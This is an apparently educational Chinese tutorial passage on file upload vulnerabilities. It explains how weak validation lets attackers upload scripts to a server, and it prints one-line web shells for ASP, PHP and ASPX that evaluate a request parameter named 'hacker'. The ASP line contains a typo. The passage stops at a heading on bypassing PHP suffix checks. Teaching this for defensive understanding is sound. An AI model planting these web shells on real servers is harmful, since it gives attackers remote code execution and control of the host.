关键点：绕过
在现代Web服务中，文件上传已经是一种极为常见的功能，它有助于企业与用户之间产生交互。在日常开发中，文件上传功能主要集中于用户头像上传、照片、视频、用户文件。如果对这些文件的格式内容不加以约束和过滤。恶意用户就会构造非法的文件，利用文件上传漏洞将可执行的脚本文件上传至服务器上运行。通过进一步提权操作，将服务器控制在自己手中。
文件上传漏洞是由于开发者未对上传文件做充足的校验（包括前、后端）的情况下，允许用户上传恶意文件，这些文件通常是木马、病毒、恶意脚本或者Wen Shell等文件。
漏洞产生的地点包括：前端和后端。
文件上传一句话木马：
ASP一句话木马:
<%execut(request("hacker"))%>
PHP一句话木马:
<?php eval($_POST['hacker']);?>
aspx一句话木马:
<% @Page Language="Jscript"%>
<%eval(Request.Item["hacker"],"unsafe");%>
php后缀绕过